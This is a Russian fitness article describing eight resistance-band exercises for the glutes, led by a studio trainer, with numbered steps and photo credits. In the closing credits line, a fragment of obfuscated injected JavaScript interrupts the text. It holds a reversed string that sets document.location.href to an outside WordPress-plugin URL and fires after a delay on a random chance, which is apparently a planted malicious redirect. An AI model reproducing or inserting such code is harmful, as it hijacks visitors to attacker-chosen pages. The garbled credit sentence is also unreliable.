8 простых упражнений с резинкой для очень красивых ягодиц

Проводите много времени сидя за компьютером в офисе? Тогда эта тренировка для вас. Как накачать красивые ягодицы, показывает Инна Симонова, элиттренер фитнес-студии FIT4EVER, мастер спорта международного класса по шорт-треку.

 

Инна Симонова

элиттренер фитнес-студии FIT4EVER, мастер спорта международного класса по шорт-треку, участница Олимпийских игр в Сочи

— Упражнения на ягодицы будут более эффективными, если выполнять их с резинкой. Резинку можно подобрать разной степени сопротивления — в зависимости от вашей физической формы. Выполняйте это комплекс упражнений регулярно. Кстати, его можно использовать и в качестве круговой тренировки. Отдохните после первого подхода — и начните с самого начала (выполните от двух до пяти сетов).

Широкие приседания с задержкой внизу

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Расположите резинку чуть ниже колен, ноги расставьте на ширину плеч.
2. Выполните приседания. Руки в замке на уровне подбородка.
3. Задержитесь в нижней точке на несколько секунд.
4. Вернитесь в исходное положение.
5. Повторите 15–20 раз.

Выпады назад с отшагиванием в сторону

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Исходное положение стоя, ноги на ширине плеч, руки в замке. Резинку расположите чуть выше колен.
2. Правой ногой сделайте выпад по диагонали влево. Корпус немного опустите вперёд.
3. Затем правую ногу отведите вправо и вверх.
4. Вернитесь в исходное положение.
5. Повторите 15–20 раз.
6. Выполните это же упражнение левой ногой.

Разведение ног в приседе

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Присядьте, как вы делали это в первом упражнении.
2. Разведите ноги как можно шире.
3. Задержитесь в этом положении на несколько секунд.
4. Вернитесь в исходное положение.
5. Выполните 15–20 повторений.

Румынская тяга с резинкой

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Поместите резинку между кроссовками и полом. Ноги слегка согните в коленях. Следите за тем, чтобы спина была ровной.
2. Потяните резинку вверх, выпрямьте корпус.
3. Повторите 15–20 раз.

Упражнение «ласточка» с резинкой

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Прижмите резинку к полу стопой правой ноги. Руками потяните резинку вверх.
2. Левую ногу плавно начинайте поднимать назад и вверх, корпус при этом опускайте.
3. Задержитесь в таком положении на несколько секунд.
4. Вернитесь в исходное положение.
5. Повторите 15–20 раз.

Ягодичный мостик

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Лягте на коврик, резинку разместите на ногах чуть выше колен, согните ноги в коленях.
2. Поднимите ягодицы.
3. Колени разведите как можно шире. Задержитесь в этом положении на несколько секунд.
4. Сведите колени.
5. Опустись на пол.
6. Повторите 15–20 раз.

Разведение ног в стороны с резинкой

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Исходное положение лёжа. Резинку расположите в области икроножных мышц, ноги поднимите.
2. Разведите ноги как можно шире.
3. Вернитесь в исходное положение.
4. Повторите упражнение 15–20 раз.

Планка, мах ногой вверх

Фото: Кирилл Ском

Фото: Кирилл Ском

Фото: Кирилл Ском

1. Исходное положение — планка на прямых руках. Резинку расположите в области икроножных мышц.
2. Отведите правую ногу вверх.
3. Вернитесь в исходное положение.
4. Отведите левую ногу вверх.
5. Вернитесь в исходное положение. Повторите 15–20 раз.

Редакция fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru благодарит сотрудников фитнес-студии FIT4EVER за помощь в организации и проведении съёмки.

Статьи по теме

Накачать ягодицы: 5 простых, но эффективных упражнений

Для чего нужны фитнес-резинки и как выбрать те, которые подойдут именно вам

Почему нужно перестать носить резинки для волос на руке

8 главных правил общения с тренером, которые сделают тренировки эффективнее